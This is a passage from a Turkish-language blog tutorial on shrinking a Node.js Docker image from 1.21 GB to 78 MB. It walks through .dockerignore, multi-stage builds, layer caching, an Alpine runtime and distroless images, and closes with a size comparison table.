&lt;h2 id="2-adm-gereksiz-dosyalar-kapda-brakmak-dockerignore-412-mb-388-mb"&gt;2. Ad&amp;inodot;m: Gereksiz Dosyalar&amp;inodot; Kap&amp;inodot;da B&amp;inodot;rakmak (&lt;code&gt;.dockerignore&lt;/code&gt;) (412 MB -&amp;gt; 388 MB)&lt;a class="headerlink" href="#2-adm-gereksiz-dosyalar-kapda-brakmak-dockerignore-412-mb-388-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Docker dosya kopyalarken filtre uygulamazsa yerel bilgisayar&amp;inodot;n&amp;inodot;zdaki &lt;code&gt;node_modules&lt;/code&gt; klas&amp;ouml;r&amp;uuml;n&amp;uuml;, &lt;code&gt;.git&lt;/code&gt; ge&amp;ccedil;mi&amp;scedil;ini, test dosyalar&amp;inodot;n&amp;inodot; ve hatta lokal geli&amp;scedil;tirme a&amp;scedil;amas&amp;inodot;ndaki hassas &lt;code&gt;.env&lt;/code&gt; dosyalar&amp;inodot;n&amp;inodot; do&amp;gbreve;rudan imaj&amp;inodot;n katmanlar&amp;inodot;na yazar.&lt;/p&gt;
&lt;p&gt;Hemen projenin k&amp;ouml;k dizinine bir &lt;code&gt;.dockerignore&lt;/code&gt; dosyas&amp;inodot; olu&amp;scedil;turup gereksiz a&amp;gbreve;&amp;inodot;rl&amp;inodot;klardan kurtuluyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;node_modules&lt;/span&gt;
&lt;span class="nf"&gt;npm-debug.log&lt;/span&gt;
&lt;span class="na"&gt;.git&lt;/span&gt;
&lt;span class="na"&gt;.gitignore&lt;/span&gt;
&lt;span class="na"&gt;.env&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;.vscode&lt;/span&gt;
&lt;span class="na"&gt;.idea&lt;/span&gt;
&lt;span class="nf"&gt;coverage&lt;/span&gt;
&lt;span class="nf"&gt;dist&lt;/span&gt;
&lt;span class="nf"&gt;build&lt;/span&gt;
&lt;span class="err"&gt;*&lt;/span&gt;&lt;span class="na"&gt;.md&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;
&lt;span class="nf"&gt;__tests__&lt;/span&gt;
&lt;span class="nf"&gt;Dockerfile&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;.dockerignore&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu ufak dosya hem boyutu d&amp;uuml;&amp;scedil;&amp;uuml;r&amp;uuml;yor hem de lokal &lt;code&gt;.env.development&lt;/code&gt; gibi kritik dosyalar&amp;inodot;n yanl&amp;inodot;&amp;scedil;l&amp;inodot;kla public registry'lere s&amp;inodot;zmas&amp;inodot;n&amp;inodot;n &amp;ouml;n&amp;uuml;ne ge&amp;ccedil;iyor.&lt;/p&gt;
&lt;h2 id="3-adm-multi-stage-build-sihri-388-mb-198-mb"&gt;3. Ad&amp;inodot;m: Multi-Stage Build Sihri (388 MB -&amp;gt; 198 MB)&lt;a class="headerlink" href="#3-adm-multi-stage-build-sihri-388-mb-198-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;TypeScript'i derlemek, linter ko&amp;scedil;turmak ve testleri &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in tonla geli&amp;scedil;tirici ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;na (dev dependencies) ihtiyac&amp;inodot;m&amp;inodot;z var. Ama uygulamay&amp;inodot; sunucuda aya&amp;gbreve;a kald&amp;inodot;r&amp;inodot;rken bunlar&amp;inodot;n hi&amp;ccedil;birine ihtiyac&amp;inodot;m&amp;inodot;z yok.&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te burada devreye &lt;strong&gt;Multi-Stage Build&lt;/strong&gt; (&amp;Ccedil;ok a&amp;scedil;amal&amp;inodot; derleme) giriyor. &amp;Idot;lk a&amp;scedil;amada (builder) uygulamay&amp;inodot; derleyip, ikinci a&amp;scedil;amada (runtime) sadece derlenmi&amp;scedil; dosyalar&amp;inodot; ve temiz k&amp;uuml;t&amp;uuml;phaneleri kopyal&amp;inodot;yoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# ---- Derleme A&amp;scedil;amas&amp;inodot; (Builder) ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-slim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;prune&lt;span class="w"&gt; &lt;/span&gt;--omit&lt;span class="o"&gt;=&lt;/span&gt;dev

&lt;span class="c"&gt;# ---- &amp;Ccedil;al&amp;inodot;&amp;scedil;ma A&amp;scedil;amas&amp;inodot; (Runtime) ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-slim&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/dist&lt;span class="w"&gt; &lt;/span&gt;./dist
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/package.json&lt;span class="w"&gt; &lt;/span&gt;./package.json

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dist/index.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada iki kritik hareket yapt&amp;inodot;k:
* &lt;code&gt;npm install&lt;/code&gt; yerine &lt;code&gt;npm ci&lt;/code&gt; kulland&amp;inodot;k. Bu komut &lt;code&gt;package-lock.json&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; baz al&amp;inodot;r ve &amp;ccedil;ok daha h&amp;inodot;zl&amp;inodot;, tutarl&amp;inodot; bir kurulum sa&amp;gbreve;lar.
* &lt;code&gt;npm prune --omit=dev&lt;/code&gt; komutuyla derleme bittikten sonra geli&amp;scedil;tirici k&amp;uuml;t&amp;uuml;phanelerini ay&amp;inodot;klad&amp;inodot;k. Sadece bu komut bile &lt;code&gt;node_modules&lt;/code&gt; boyutunu yar&amp;inodot; yar&amp;inodot;ya d&amp;uuml;&amp;scedil;&amp;uuml;rd&amp;uuml;.&lt;/p&gt;
&lt;h2 id="4-adm-katman-onbellegini-dogru-tetiklemek-ayn-boyut-5-kat-hzl-build"&gt;4. Ad&amp;inodot;m: Katman &amp;Ouml;nbelle&amp;gbreve;ini Do&amp;gbreve;ru Tetiklemek (Ayn&amp;inodot; boyut, 5 kat h&amp;inodot;zl&amp;inodot; build)&lt;a class="headerlink" href="#4-adm-katman-onbellegini-dogru-tetiklemek-ayn-boyut-5-kat-hzl-build" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu ad&amp;inodot;m imaj boyutunu k&amp;uuml;&amp;ccedil;&amp;uuml;ltm&amp;uuml;yor ama CI/CD s&amp;uuml;re&amp;ccedil;lerimizi u&amp;ccedil;uracak en kritik taktik budur hac&amp;inodot;. Docker imaj&amp;inodot; katmanlar (layers) halinde in&amp;scedil;a edilir. E&amp;gbreve;er &lt;code&gt;COPY . .&lt;/code&gt; komutunu &lt;code&gt;npm ci&lt;/code&gt; komutundan &amp;ouml;nce yazarsan&amp;inodot;z, kodunuzdaki tek bir sat&amp;inodot;r de&amp;gbreve;i&amp;scedil;iklik bile Docker &amp;ouml;nbelle&amp;gbreve;ini (cache) ge&amp;ccedil;ersiz k&amp;inodot;lar ve Docker her seferinde y&amp;uuml;zlerce paketi ba&amp;scedil;tan indirmeye &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Bunu &amp;ouml;nlemek i&amp;ccedil;in yukar&amp;inodot;daki ad&amp;inodot;mda yapt&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z gibi &amp;ouml;nce sadece &lt;code&gt;package*.json&lt;/code&gt; dosyalar&amp;inodot;n&amp;inodot; kopyalay&amp;inodot;p k&amp;uuml;t&amp;uuml;phaneleri kurmal&amp;inodot;, ard&amp;inodot;ndan kodlar&amp;inodot; kopyalamal&amp;inodot;y&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Yakla&amp;scedil;&amp;inodot;k 600 ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; olan projemizde cold build (so&amp;gbreve;uk derleme) s&amp;uuml;resi 94 saniyeyken, bu ufak yer de&amp;gbreve;i&amp;scedil;ikli&amp;gbreve;i sayesinde sadece uygulama kodunu de&amp;gbreve;i&amp;scedil;tirdi&amp;gbreve;imizde build s&amp;uuml;resi 18 saniyeye d&amp;uuml;&amp;scedil;t&amp;uuml;. Her PR'da, her deployda kazan&amp;inodot;lan bu s&amp;uuml;reyi hesap edin!&lt;/p&gt;
&lt;h2 id="5-adm-calsma-zamannda-alpine-limanna-yanasmak-198-mb-96-mb"&gt;5. Ad&amp;inodot;m: &amp;Ccedil;al&amp;inodot;&amp;scedil;ma Zaman&amp;inodot;nda Alpine Liman&amp;inodot;na Yana&amp;scedil;mak (198 MB -&amp;gt; 96 MB)&lt;a class="headerlink" href="#5-adm-calsma-zamannda-alpine-limanna-yanasmak-198-mb-96-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Derleme a&amp;scedil;amas&amp;inodot;nda uyumluluk sorunlar&amp;inodot; ya&amp;scedil;amamak i&amp;ccedil;in Debian tabanl&amp;inodot; &lt;code&gt;slim&lt;/code&gt; imaj&amp;inodot;n&amp;inodot; kulland&amp;inodot;k. Peki &amp;ccedil;al&amp;inodot;&amp;scedil;ma (runtime) a&amp;scedil;amas&amp;inodot;nda neden Alpine'e ge&amp;ccedil;miyoruz? Derlenmi&amp;scedil; saf JavaScript kodumuz, arkada glibc'ye &amp;ouml;zel k&amp;uuml;t&amp;uuml;phaneler &amp;ccedil;a&amp;gbreve;&amp;inodot;ran C/C++ binary'leri yoksa, i&amp;scedil;letim sisteminin ne oldu&amp;gbreve;una zerre &amp;ouml;nem vermez.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# ---- builder ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-slim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;prune&lt;span class="w"&gt; &lt;/span&gt;--omit&lt;span class="o"&gt;=&lt;/span&gt;dev

&lt;span class="c"&gt;# ---- runtime ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-alpine&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/dist&lt;span class="w"&gt; &lt;/span&gt;./dist
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/package.json&lt;span class="w"&gt; &lt;/span&gt;./package.json
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dist/index.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er yerel mod&amp;uuml;ller (native modules) kullan&amp;inodot;yorsan&amp;inodot;z ve runtime'da Alpine kullanmak istiyorsan&amp;inodot;z, builder a&amp;scedil;amas&amp;inodot;nda da &lt;code&gt;node:22-alpine&lt;/code&gt; taban imaj&amp;inodot;n&amp;inodot; se&amp;ccedil;ip &lt;code&gt;apk add --no-cache python3 make g++&lt;/code&gt; komutlar&amp;inodot;yla derleme yapman&amp;inodot;z gerekir.&lt;/p&gt;
&lt;h2 id="6-adm-sunucuyu-kapatmak-distroless-gecisi-96-mb-78-mb"&gt;6. Ad&amp;inodot;m: Sunucuyu Kapatmak: Distroless Ge&amp;ccedil;i&amp;scedil;i (96 MB -&amp;gt; 78 MB)&lt;a class="headerlink" href="#6-adm-sunucuyu-kapatmak-distroless-gecisi-96-mb-78-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Geldik i&amp;scedil;in nirvanas&amp;inodot;na. Google'&amp;inodot;n &lt;strong&gt;Distroless&lt;/strong&gt; imajlar&amp;inodot;, i&amp;ccedil;inde sadece Node.js &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; ve SSL sertifikalar&amp;inodot;n&amp;inodot; bar&amp;inodot;nd&amp;inodot;r&amp;inodot;r. Ne bir kabuk (shell - bash/sh) ne paket y&amp;ouml;neticisi ne de curl gibi ara&amp;ccedil;lar vard&amp;inodot;r. Bu sayede olas&amp;inodot; bir siber sald&amp;inodot;r&amp;inodot;da konteynerin i&amp;ccedil;ine s&amp;inodot;z&amp;inodot;lsa bile &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lacak bir terminal bulunamaz. Boyut da haliyle 78 MB'a kadar geriler.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# ---- runtime ----&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;gcr.io/distroless/nodejs22-debian12&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/dist&lt;span class="w"&gt; &lt;/span&gt;./dist
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;/app/package.json&lt;span class="w"&gt; &lt;/span&gt;./package.json
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"dist/index.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! Distroless Kullan&amp;inodot;rken Shell Olmaz&lt;/p&gt;
&lt;p&gt;Distroless imajlar&amp;inodot;nda kabuk (shell) bulunmad&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in &lt;code&gt;docker exec -it konteyner sh&lt;/code&gt; komutuyla i&amp;ccedil;eriye ba&amp;gbreve;lan&amp;inodot;p inceleme yapamazs&amp;inodot;n&amp;inodot;z. Hata ay&amp;inodot;klama (debugging) yapman&amp;inodot;z gerekti&amp;gbreve;inde, ayn&amp;inodot; imaj&amp;inodot;n &lt;code&gt;:debug&lt;/code&gt; tag'ini i&amp;ccedil;eren versiyonunu kullanabilirsiniz (bu s&amp;uuml;r&amp;uuml;mde Busybox kabu&amp;gbreve;u bulunur). Production ortam&amp;inodot;nda ise g&amp;uuml;venlik kurallar&amp;inodot;na sad&amp;inodot;k kalarak standart distroless ile devam etmelisiniz. Ayr&amp;inodot;ca shell olmad&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in &lt;code&gt;CMD&lt;/code&gt; alan&amp;inodot;nda exec formunu kullanmak ve &lt;code&gt;node&lt;/code&gt; yazmadan do&amp;gbreve;rudan script yolunu vermek zorunludur.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="genel-degerlendirme-tablosu"&gt;Genel De&amp;gbreve;erlendirme Tablosu&lt;a class="headerlink" href="#genel-degerlendirme-tablosu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yapt&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z iyile&amp;scedil;tirmelerin imaj boyutuna etkisini topluca g&amp;ouml;relim:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;A&amp;scedil;ama&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Taban &amp;Idot;maj&amp;inodot;&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;maj Boyutu&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Tasarruf Oran&amp;inodot;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Ba&amp;scedil;lang&amp;inodot;&amp;ccedil; (Naive)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.21 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;1. Slim Base Image&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;412 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2. .dockerignore&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;388 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;3. Multi-Stage + Prune&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;198 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%49&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;4. Katman &amp;Ouml;nbellekleme&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;198 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;(H&amp;inodot;z Kazan&amp;inodot;m&amp;inodot;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;5. Alpine Runtime&lt;/td&gt;
&lt;td style="text-align: left;"&gt;node:22-alpine&lt;/td&gt;
&lt;td style="text-align: left;"&gt;96 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%52&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;6. Distroless Ge&amp;ccedil;i&amp;scedil;i&lt;/td&gt;
&lt;td style="text-align: left;"&gt;distroless/nodejs22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;78 MB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%19&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;G&amp;uuml;n&amp;uuml;n sonunda &lt;strong&gt;%94 oran&amp;inodot;nda bir hafifleme&lt;/strong&gt; elde ettik hac&amp;inodot;. &amp;Idot;maj tam 15 kat k&amp;uuml;&amp;ccedil;&amp;uuml;ld&amp;uuml;.&lt;/p&gt;
&lt;h2 id="neleri-tercih-etmedik"&gt;Neleri Tercih Etmedik?&lt;a class="headerlink" href="#neleri-tercih-etmedik" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Baz&amp;inodot; platformlarda s&amp;inodot;kl&amp;inodot;kla &amp;ouml;nerilen ancak karma&amp;scedil;&amp;inodot;kl&amp;inodot;&amp;gbreve;&amp;inodot; art&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in bizim listeye almad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z y&amp;ouml;ntemler de var:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;docker-slim:&lt;/strong&gt; &amp;Idot;maj&amp;inodot; dinamik olarak analiz edip k&amp;uuml;&amp;ccedil;&amp;uuml;lten harika bir ara&amp;ccedil;t&amp;inodot;r. Ancak production ortam&amp;inodot;nda uygulaman&amp;inodot;n nadiren u&amp;gbreve;rad&amp;inodot;&amp;gbreve;&amp;inodot; bir kod blo&amp;gbreve;undaki ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; gereksiz g&amp;ouml;r&amp;uuml;p silebilir. Canl&amp;inodot;da hata ay&amp;inodot;klamak hi&amp;ccedil; keyifli olmuyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pkg veya nexe:&lt;/strong&gt; Uygulamay&amp;inodot; tek bir binary haline getirir. Ancak Node.js s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; dondurur ve dinamik import yap&amp;inodot;lar&amp;inodot;n&amp;inodot; bozar. E&amp;gbreve;er static binary esnekli&amp;gbreve;i istiyorsan&amp;inodot;z Node.js yerine Go veya Rust yazmal&amp;inodot;s&amp;inodot;n&amp;inodot;z.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;scratch:&lt;/strong&gt; Teoride harika ama pratikte SSL sertifikalar&amp;inodot;, zaman dilimi verileri (tzdata) ve DNS &amp;ccedil;&amp;ouml;z&amp;uuml;mleyicileriyle bir hafta sava&amp;scedil;man&amp;inodot;za sebep olur. Distroless t&amp;uuml;m bu zahmeti ortadan kald&amp;inodot;r&amp;inodot;yor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Siz de kendi projelerinizde bu ad&amp;inodot;mlar&amp;inodot; uygulayarak sunucular&amp;inodot; rahatlatabilir, CI/CD boru hatlar&amp;inodot;n&amp;inodot; h&amp;inodot;zland&amp;inodot;rabilirsiniz.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="laboratuvardan-diger-notlar"&gt;🔗 Laboratuvardan Di&amp;gbreve;er Notlar&lt;a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Sistemleri kurcalarken, sunucu performans&amp;inodot;n&amp;inodot; art&amp;inodot;r&amp;inodot;rken ve konteynerleri hafifletirken i&amp;scedil;inize yarayacak di&amp;gbreve;er yaz&amp;inodot;lar&amp;inodot;m da &amp;scedil;urada:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-docker-kurulumu/"&gt;Arch Linux'ta Docker Kurulumu &amp;ndash; Ad&amp;inodot;m Ad&amp;inodot;m Rehber&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-tcp-tuning-node-js-microservices/"&gt;Node.js Mikroservisleri &amp;Idot;&amp;ccedil;in Linux TCP Tuning ve Kernel Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/raspberry-pi-zero-ram-diskless-web-server/"&gt;Diskleri &amp;Ccedil;&amp;ouml;pe At&amp;inodot;n: Raspberry Pi Zero ile RAM &amp;Uuml;st&amp;uuml;nde Site Bar&amp;inodot;nd&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
